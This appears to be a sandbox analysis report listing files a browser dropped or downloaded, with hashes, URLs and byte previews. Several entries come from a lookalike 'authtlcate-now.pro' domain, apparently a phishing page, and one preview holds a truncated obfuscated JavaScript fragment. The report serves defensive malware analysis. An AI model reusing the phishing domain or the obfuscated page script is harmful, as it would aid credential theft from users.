Preview:	L..................F.@.. ...$+.,.....\|......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.k....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.k....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.k....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.k..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.k...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 25 12:30:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9877193172790633
Encrypted:	false
SSDEEP:	48:8ndyTeigWH4idAKZdA1dehBiZUk1W1qehky+C:8c3B9Ey
MD5:	90426AF4B15DDA3189FB4552DA336CF2
SHA1:	FBB5348B84161D46C5CE58EECDC291BC12827524
SHA-256:	E275685583C0204BFD290BC44F011AC468F504EC03A3BBE3599AC7F43F605928
SHA-512:	03F4A8B5A3C9586D9A8AC99085469431BEE7F70113D181EECE7CB2ED7B48A93A7B3C90CB2CEC50FB396358786855A2BB979426D4264E6BBDC15DDBD106F8160C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....P_......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.k....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.k....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.k....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.k..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.k...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 25 12:30:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.00141265345701
Encrypted:	false
SSDEEP:	48:8IdyTeigWH4idAKZdA1duTeehOuTbbiZUk5OjqehOuTbuy+yT+:8V3JTfTbxWOvTbuy7T
MD5:	571DB085EFCC17FD25AB24E0D106676C
SHA1:	43338D446D5AFB9EE998CDA6D79A4CA3364A87FF
SHA-256:	2B8468869A356FD7884D8F83E5F434F5D91E03B91B102BEDC5980B8A04AB395A
SHA-512:	E5C34A91BB1D33DD058196823DE4492D5E175F36E9BA38D08B5B3826A707242817F11ADB1C32FD00C5F2E51C62B278BE546B6CFCFC330DBD5DC927552925F002
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.k....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.k....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.k....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.k..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.k...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 450x450, components 3
Category:	dropped
Size (bytes):	30276
Entropy (8bit):	7.954188357367954
Encrypted:	false
SSDEEP:	768:ex50g9SSRLrs6W/PR/vdtaK9+cJ/AnM2xJB9iTzMW:ex99PLIj/tdpdaZJiTzd
MD5:	AB469A96BF9E08BE9BFBE3DB6B168AF9
SHA1:	4EB775C2D7DFDD660B8D0E41AF1D33018FFD7C8C
SHA-256:	DB94C517D0E7ACF08D3BFA410C42F7E792C56AF74F872F00F7554B9DCA7DAA76
SHA-512:	3EA0F3C645869BD15E3910D0C2B5B124B387AEF2991F993F04949F6244BA216BF04641F5ECCA38228B1346D8B9E07F965CE83C4B0C0AADB921FB3C5ACF0EBA71
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..C..`.EE...j.....r......HA.g..8.<Q.b......<.=E..C.X...L....P[9.4.B.i..'q......Gz.N:s.q.qR.B.m.E5...........B...O.)[..HNr.4.....!...NT.....3.n..c u.C.2i_.v.I..}(PO9.B..09...J...$u.....H8.z...F8.Y...sS..D.....i...U..Z.....O.+._E%..N..Y..U.{.....?e..1....Of#..:.p.\.qJ..rz.i.[.'.. ....R..Z\.hP.f..3.<.....d.....<PRdE....X...].<s. BNH.Xc.)\...v...Q..:s. .....N:v.

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	105369
Entropy (8bit):	5.240719144154261
Encrypted:	false
SSDEEP:	1536:l+gu2w+EEnazA/PWrF7qvEAFiQcpmQoDZztVEHn8:E6CEVEH8
MD5:	8E6B0F88563F9C33F78BCE65CF287DF7
SHA1:	EF7765CD2A7D64ED27DD7344702597AFF6F8C397
SHA-256:	A7057BEBFFF43E7281CA31DA00D40BD88C8D02D1576B9C45891DD56A3853269A
SHA-512:	7DCE31D45ACA40340490B9F437A22ADF212B049DE0D4DDEB908A50C1F5C6C7B5561323B3A93B6ED3E5A7C44D7170460BFF8D8722749191C0F5A8DBD83E093E7F
Malicious:	false
Reputation:	low
URL:	https://doculink.authtlcate-now.pro/APP-3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff53/3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff54
Preview:	html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://doculink.authtlcate-now.pro/jq/3ab171f76fa12ca7e775f401a8a53f3e662a5b20c6330
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (4020)
Category:	downloaded
Size (bytes):	4464
Entropy (8bit):	5.570147763471815
Encrypted:	false
SSDEEP:	96:PILIkEaeIllHhD6UPYznjUC5PAv00cCv3m4oilpM:GIkTeI7h/YzjUC5Yv4phc6
MD5:	7C45FEF79A85EFD709C477E669EBEA31
SHA1:	B97BC248957D9D6E004564978664251902EDD3EA
SHA-256:	3A57E23BCBFFBDCEC7AB4D20396DC0FF99A9EEF0BAA9EB74AA42F3CE6D903043
SHA-512:	C8CBFCFF34F7274455F27B7555D058B8624F684D87E1E04A096647F82A9D23E5062F72E778A6B3AF0B7218C32CE2D993376A89B41AECDB9A5EAECC2EA166F5F6
Malicious:	false
Reputation:	low
URL:	https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6
Preview:	<!DOCTYPE html>.<html>.<head>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1">. <title></title>. <script src="jq/3ab171f76fa12ca7e775f401a8a53f3e662a5b20c6330"></script>. <script src="boot/3ab171f76fa12ca7e775f401a8a53f3e662a5b20c6335"></script>. <script src="js/3ab171f76fa12ca7e775f401a8a53f3e662a5b20c6337"></script>.</head>..<script type="text/javascript">.function r(V,f){var e=I();return r=function(k,F){k=k-0x140;var G=e[k];return G;},r(V,f);}var A=r;(function(q,T){var K=r,S=q();while(!![]){try{var X=-parseInt(K('0x167'))/0x1(parseInt(K(0x172))/0x2)+parseInt(K('0x148'))/0x3+parseInt(K(0x181))/0x4+-parseInt(K('0x15e'))/0x5+-parseInt(K('0x15f'))/0x6+parseInt(K('0x143'))/0x7+parseInt(K(0x15b))/0x8(parseInt(K('0x180'))/0x9);if(X===T)break;else S['push'](S['shift']());}catch(y){S['push'](S['shift']());}}}(I,0x6def1));var G=(function(){var q=!![];return function(T,S){var X=q?function(){var t=r;if(S){var y=S[t('0x

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	600
Entropy (8bit):	7.391634169810707
Encrypted:	false
SSDEEP:	12:6v/7OEUT9vceKKNtY3kM8O+mucROzZbJOAjPBE2Iq8AnxT9:bTdcVIM8tfHzzjy2IdKT9
MD5:	0F2A4639B8A4CB30C76E8333C00D30A6
SHA1:	57E273A270BB864970D747C74B3F0A7C8E515B13
SHA-256:	44B988703019CD6BFA86C91840FECF2A42B611B364E3EEA2F4EB63BF62714E98
SHA-512:	3EA72C7E8702D2E9D94B0FAA6FA095A33AB8BC6EC2891F8B3165CE29A9CCF2114FAEF424FA03FD4B9D06785326284C1BB2087CE05E249CCAC65418361BFA7C51
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX..M+.Q.....&/....&......6...\|.I..).o.I.X..#.@.bb.D.'5....m...=..y........{....<.P..;.H......f...3l...M.I...j2.....3..1x..S......9..<m...E.'F'.. ...M.j...C..c.5.-..F..3H./F!.."V.e.i.}.Y....../.rw...@...].rp...`CQo(.....J...u.".!E...$.^$...k....b....@.^.;.u5........H/Q{..$..'..........w...r.+xS.uR..J.......GD.O./.. G7..l...J.t.3.S...N.7...e..s.-Jlj)..5E....E.;8w4.k..=.li.G...1.c....p,T6;....1.oW.%.2,..Z..a...*m.s}T1F....Hr.1......<x0.....-.i......IEND.B`.

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:H0hCkY:UUkY
MD5:	AFB69DF47958EB78B4E941270772BD6A
SHA1:	D9FE9A625E906FF25C1F165E7872B1D9C731E78E
SHA-256:	874809FB1235F80831B706B9E9B903D80BD5662D036B7712CC76F8C684118878
SHA-512:	FD92B98859FFCCFD12AD57830887259F03C7396DA6569C0629B64604CD964E0DF15D695F1A770D2E7F8DF238140F0E6DA7E7D176B54E31C3BB75DDE9B9127C45
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAlOqK82i9RWbhIFDVNaR8U=?alt=proto
Preview:	CgkKBw1TWkfFGgA=

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (56412), with no line terminators
Category:	downloaded
Size (bytes):	56412
Entropy (8bit):	5.907540404138125
Encrypted:	false
SSDEEP:	768:+LUmmAWTe2uXYp8Mi+yKYlebyBblxRx54PHSGdXXwW7MFWwXVuE2:4UcW6v+0BbchXwW49z2
MD5:	2C00B9F417B688224937053CD0C284A5
SHA1:	17B4C18EBC129055DD25F214C3F11E03E9DF2D82
SHA-256:	1E754B107428162C65A26D399B66DB3DAAEA09616BF8620D9DE4BC689CE48EED
SHA-512:	8DC644D4C8E6DA600C751975AC4A9E620E26179167A4021DDB1DA81B452ECF420E459DD1C23D1F2E177685B4E1006DBC5C8736024C447D0FF65F75838A785F57
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/styles__ltr.css
Preview:	.goog-inline-block{position:relative;display:-moz-inline-box;display:inline-block}* html .goog-inline-block{display:inline}*:first-child+html .goog-inline-block{display:inline}.recaptcha-checkbox{border:none;font-size:1px;height:28px;margin:4px;width:28px;overflow:visible;outline:0;vertical-align:text-bottom}.recaptcha-checkbox-border{-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;background-color:#fff;border:2px solid #c1c1c1;font-size:1px;height:24px;position:absolute;width:24px;z-index:1}.recaptcha-checkbox-borderAnimation{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFQAAANICAYAAABZl8i8AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAABIAAAASABGyWs+AAAACXZwQWcAAABUAAADSAC4K4y8AAA4oElEQVR42u2dCZRV1ZX3q5iE4IQIiKQQCKBt0JLEIUZwCCk7pBNFiRMajZrIl9aOLZ8sY4CWdkDbT2McooaAEmNixFhpaYE2dCiLScWiQHCgoGQoGQuhGArKKl7V+c5/n33fO/V4w733nVuheXuv9V/rrnvP2Xud3zvTPee+ewsKxMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExP4OdtlT6ztAbRWvvLy8A3QkwxzH6tBGMMexI

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	600
Entropy (8bit):	7.391634169810707
Encrypted:	false
SSDEEP:	12:6v/7OEUT9vceKKNtY3kM8O+mucROzZbJOAjPBE2Iq8AnxT9:bTdcVIM8tfHzzjy2IdKT9
MD5:	0F2A4639B8A4CB30C76E8333C00D30A6
SHA1:	57E273A270BB864970D747C74B3F0A7C8E515B13
SHA-256:	44B988703019CD6BFA86C91840FECF2A42B611B364E3EEA2F4EB63BF62714E98
SHA-512:	3EA72C7E8702D2E9D94B0FAA6FA095A33AB8BC6EC2891F8B3165CE29A9CCF2114FAEF424FA03FD4B9D06785326284C1BB2087CE05E249CCAC65418361BFA7C51
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/refresh_2x.png
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX..M+.Q.....&/....&......6...\|.I..).o.I.X..#.@.bb.D.'5....m...=..y........{....<.P..;.H......f...3l...M.I...j2.....3..1x..S......9..<m...E.'F'.. ...M.j...C..c.5.-..F..3H./F!.."V.e.i.}.Y....../.rw...@...].rp...`CQo(.....J...u.".!E...$.^$...k....b....@.^.;.u5........H/Q{..$..'..........w...r.+xS.uR..J.......GD.O./.. G7..l...J.t.3.S...N.7...e..s.-Jlj)..5E....E.;8w4.k..=.li.G...1.c....p,T6;....1.oW.%.2,..Z..a...*m.s}T1F....Hr.1......<x0.....-.i......IEND.B`.

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32058)
Category:	downloaded
Size (bytes):	86659
Entropy (8bit):	5.36781915816204
Encrypted:	false
SSDEEP:	1536:YNhEyjjTikEJO4edXXe9J578go6MWX2xkj8e4c4j2ll2AckaXEP6n15HZ+FhFcQ7:uxc2yjx4j2uX/kcQDU8Cu9
MD5:	C9F5AEECA3AD37BF2AA006139B935F0A
SHA1:	1055018C28AB41087EF9CCEFE411606893DABEA2
SHA-256:	87083882CC6015984EB0411A99D3981817F5DC5C90BA24F0940420C5548D82DE
SHA-512:	DCFF2B5C2B8625D3593A7531FF4DDCD633939CC9F7ACFEB79C18A9E6038FDAA99487960075502F159D44F902D965B0B5AED32B41BFA66A1DC07D85B5D5152B58
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js
Preview:	/! jQuery v3.2.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, resolution (DPI), density 266x266, segment length 16, baseline, precision 8, 2261x2926, components 3
Category:	downloaded
Size (bytes):	211541
Entropy (8bit):	7.386552260134319
Encrypted:	false
SSDEEP:	6144:mF0bjjDZJjfG/PI8bw7/6F01qUEr6NOuIJkbs+oCe3:mF0bjjDZJjfGY8bwz6Fcq/r68bJkboCG
MD5:	A7D33B69B8C3A5B8B28A4F844670A02B
SHA1:	D203E29801C7B6D7F20E46E8912770D1D7649C26
SHA-256:	CE3FAFD06844C80D54FE141FAF794E6EAC3857DBDEFB16019D81A648AA5BD2AC
SHA-512:	F11C09EA170E000B3B55475F7D196DB471380FD8C6A468FE094726B1E5AB19202D9747AD81CA4AC4B586943C692AF3973EBA8B8D9CC21324C1A0467D973CF039
Malicious:	false
Reputation:	low
URL:	https://contentsnare-production.s3-accelerate.amazonaws.com/z0t4w7u8omptii0ahi8fvkg3o4b5?response-content-disposition=inline%3B%20filename%3D%22Pages%20from%202024-2025%20April%20Caleb%20Lease.docx.jpg%22%3B%20filename%2A%3DUTF-8%27%27Pages%2520from%25202024-2025%2520April%2520Caleb%2520Lease.docx.jpg&response-content-type=image%2Fjpeg&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJEO7TYJAYQI5QCQQ%2F20240425%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240425T133008Z&X-Amz-Expires=300&X-Amz-SignedHeaders=host&X-Amz-Signature=e247b392a5d99122054d893c7b254dc88b03abcb849b6228ee64c969cca4ae63
Preview:	......JFIF..............ICC_PROFILE.......appl....mntrRGB XYZ .........*..acspAPPL....APPL...........................-appl................................................desc...P...bdscm........cprt...P...#wtpt...t....rXYZ........gXYZ........bXYZ........rTRC........aarg....... vcgt.......0ndin... ...>mmod...`...(vcgp.......8bTRC........gTRC........aabg....... aagg....... desc........Display.................................................................................mluc.......&....hrHR........koKR........nbNO........id..........huHU........csCZ.......0daDK.......FnlNL.......bfiFI.......xitIT........esES........roRO........frCA........ar..........ukUA........heIL........zhTW.......$viVN........skSK.......<zhCN.......$ruRU...$...RenGB.......vfrFR........ms..........hiIN........thTH........caES........enAU.......vesXL........deDE........enUS........ptBR........plPL......."elGR..."...4svSE.......VtrTR.......fptPT.......zjaJP.........L.C.D. .u. .b.o.j.i.... .L.C.D.F.a.r.g.e.-.L.C.D.L.C

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	665
Entropy (8bit):	7.42832670119013
Encrypted:	false
SSDEEP:	12:6v/7OEUelyuRs56fyKgIEInu5VLJBZInmJhd/3VqQXD8GBm1:belFRs56fuIEIu5VNBZInMTICfBO
MD5:	07BF314AAB04047B9E9A959EE6F63DA3
SHA1:	17BEF6602672E2FD9956381E01356245144003E5
SHA-256:	55EAF62CB05DA20088DC12B39D7D254D046CB1FD61DDF3AE641F1439EFD0A5EE
SHA-512:	2A1D4EBC7FBA6951881FD1DDA745480B504E14E3ADAC3B27EC5CF4045DE14FF030D45DDA99DC056285C7980446BA0FC37F489B7534BE46107B21BD43CEE87BA0
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX..W..DA.=.6O...H.,E.............b.....C.1...1..EbLPI.W......H..s.z5.:..._.d.0.u.......j.x.R..._.v..R...1..ir..`.yn..R..j.h./y..l......(`..5....l.E..0......B^......F.....F....Y\|p..._,p.............(3^.r.P.O......;<....z.,..yF....N..x.MS...Q.C%......D8G.+......oOk...)T..}\|..e...G.....'.R..G.Z.T}7(...&..@...G....$PGYv...A.c.]d....N..'.4b...R.%..)2Yd..b.M..^@.M....^.:h.N(dP*t..RQ%.o...{.vGH..S._".@./...g.....]...?..h..E.,r.m.%."."W.6G..t...->....q\.Kc.t"^......Kj~{l..C..).y..><@\|yB....=c.............!...<....IEND.B`.

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1740
Entropy (8bit):	5.503699060871607
Encrypted:	false
SSDEEP:	48:4OL0cIOL0vFZO7OL0DFOL0IRVc+uHOL0RN0oD:4OL0cIOL0vFZO7OL05OL0kVc+uHOL0RN
MD5:	A7F15097B6696241EFA1A1A171CDB87B
SHA1:	45F7D701C6E73F506388A8979BB47FE52412C23A
SHA-256:	CA26128F1AA8FCE9D93A0B53C696B70CE7A50D3CE3F90FA3A8C413D439AB134D
SHA-512:	8EB8E196612498B4018CFEA3FAE80AF0127D94B6C5D9CC09FA8A18F250E119034EAE5AE2AD6CFE6A4DDE9236C0EF4669F4C2EDA7A71385F5BC58D9010CE408AE
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Bitter
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Bitter';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/bitter/v33/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8fbfOLXOXWh2.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Bitter';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/bitter/v33/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8fbfOLzOXWh2.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ vietnamese /.@font-face {. font-family: 'Bitter';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/bitter/v33/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8fbfOLfOXWh2.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;.}./ latin-ext */.@font-fac

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42414)
Category:	downloaded
Size (bytes):	42415
Entropy (8bit):	5.374174676958316
Encrypted:	false
SSDEEP:	768:JC9//LuIHdpbSt3JoVMjX1y48S7d1dxoqmNdKyBVnPNAZASyXY1eO4mH19B59:OuIHdpbSt3vFy4X4PNdN+9
